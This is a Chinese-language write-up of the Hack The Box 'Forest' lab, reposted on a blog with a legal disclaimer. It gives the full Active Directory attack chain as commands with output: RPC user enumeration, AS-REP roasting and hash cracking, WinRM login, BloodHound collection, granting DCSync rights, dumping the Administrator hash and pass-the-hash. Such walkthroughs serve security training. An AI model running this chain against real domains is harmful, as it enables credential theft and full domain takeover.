[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…

2024-09-03 136 0

信息收集

IP Address Opening Ports
10.10.10.161 TCP:53/tcp, 88/tcp, 135/tcp, 139/tcp, 389/tcp, 445/tcp, 464/tcp, 593/tcp, 636/tcp, 3268/tcp, 3269/tcp, 5985/tcp, 9389/tcp, 47001/tcp, 49664/tcp, 49665/tcp, 49666/tcp, 49667/tcp, 49678/tcp, 49679/tcp, 49686/tcp, 49708/tcp

$ nmap -p- 10.10.10.161 --min-rate 1000 -sC -sV

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-21 08:28:26Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49678/tcp open  msrpc        Microsoft Windows RPC
49679/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc        Microsoft Windows RPC
49708/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2024-08-21T01:29:25-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_clock-skew: mean: 2h17m23s, deviation: 4h02m29s, median: -2m37s
| smb2-time: 
|   date: 2024-08-21T08:29:28
|_  start_date: 2024-08-21T08:24:33
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

DNS

$ dig @10.10.10.161 htb.local ANY

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图

hostmaster.htb.local
forest.htb.local

# echo '10.10.10.161 hostmaster.htb.local forest.htb.local'>>/etc/hosts

RPC 135

$ enum4linux 10.10.10.161

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图1

或者使用$ rpcclient -U "" -N 10.10.10.161连接

列出用户

rpcclient $> enumdomusers

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图2

列出组

rpcclient $> enumdomgroups

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图3

查询组,该组0x200属于域管理员

rpcclient $> querygroup 0x200

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图4

查询组0x200成员

rpcclient $> querygroupmem 0x200

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图5

查询用户所属域中信息

rpcclient $> queryuser 0x1f4

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图6

AS-REP攻击 & TGT 泄露

users.txt字典

Administrator
andy
lucinda
mark
santi
sebastien
svc-alfresco

获取TGT票据

# for user in $(cat users.txt); do python /usr/share/doc/python3-impacket/examples/GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图7

$krb5asrep$23$svc-alfresco@HTB:673e71dfa10005b9dc741cedf9a181e8$893f9bd443ee26264858af03a654193e565992d88bd224aef2c2c57388582294d9689bc890a9930f62c0e4a3202744544e546eb8bf52873ab45292be11fef69750046fad446b955afca12199c8d4e52e2fd925f951246cfa7376ead32e24481dfe7ff91db4e219fa458b295671e655618475f78f61b644be67583cc7facf7dd5956c7877284755078676a581f80de9f0747cea221e732c4f6ad1cba14defa5eff2d603f0e9cdfd4cd4e6b129b11a08d8bd2490abb14e0ee38c9bd1ce393144e5d6ca620afddeb1b3037a890c66416128ab588dd422e64746ecdc4ee1b6d0ff2d

$ hashcat -m 18200 TGT /usr/share/wordlists/rockyou.txt --force

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图8

s3rvice

evil-winrm & WinRM 攻击

$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图9

User.txt

a4be68635be334291b5bf6410af5fb8c

权限提升 & SharpHound & BloodHound & DCSync 攻击 & PowerView & NTLM & Pass-the-Hash

git clone https://github.com/BloodHoundAD/BloodHound.git

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> upload /home/maptnh/Desktop/htb/BloodHound/Collectors/SharpHound.exe ./

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图10

./SharpHound.exe --collectionmethods all --domain htb.local --ldapusername svc-alfresco --ldappassword s3rvice

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图11

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> download C:\Users\svc-alfresco\appdata\local\temp\20240821032119_BloodHound.zip /tmp/20240821032119_BloodHound.zip

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图12

查询域管理员的最短路径

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图13

将svc-alfresco用户添加到Exchange Windows XP组

*Evil-WinRM* PS C:\> net group "Exchange Windows Permissions" svc-alfresco /add /domain

但是过一会就会移除这个用户

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图14

尝试添加一个新用户并且尝试加入到Exchange组

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> net user /add maptnh P@ssw0rd /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> net group /add 'Exchange Trusted Subsystem' maptnh /domain

导入函数

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> . .\PowerView.ps1

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图15

进行DCSync攻击

下载PowerView.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> upload /home/maptnh/Desktop/htb/PowerView.ps1 ./

$SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\maptnh', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity maptnh -Rights DCSync

DCSync攻击使用Microsoft Directory Replication Service Remote Protocol(MS-DRSR)中的命令伪装成域控制器(DC),以便从另一个DC获取用户凭据。

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> net groups 'Exchange Trusted Subsystem' /domain

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图16

$ python /usr/share/doc/python3-impacket/examples/secretsdump.py htb.local/maptnh:'P@ssw0rd'@10.10.10.161

成功获取Administrator哈希散列

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图17

$ python /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/[email protected]

[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSyn…插图18

Root.txt

0c81c1f0304a873bd690bdf3a3d03411


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论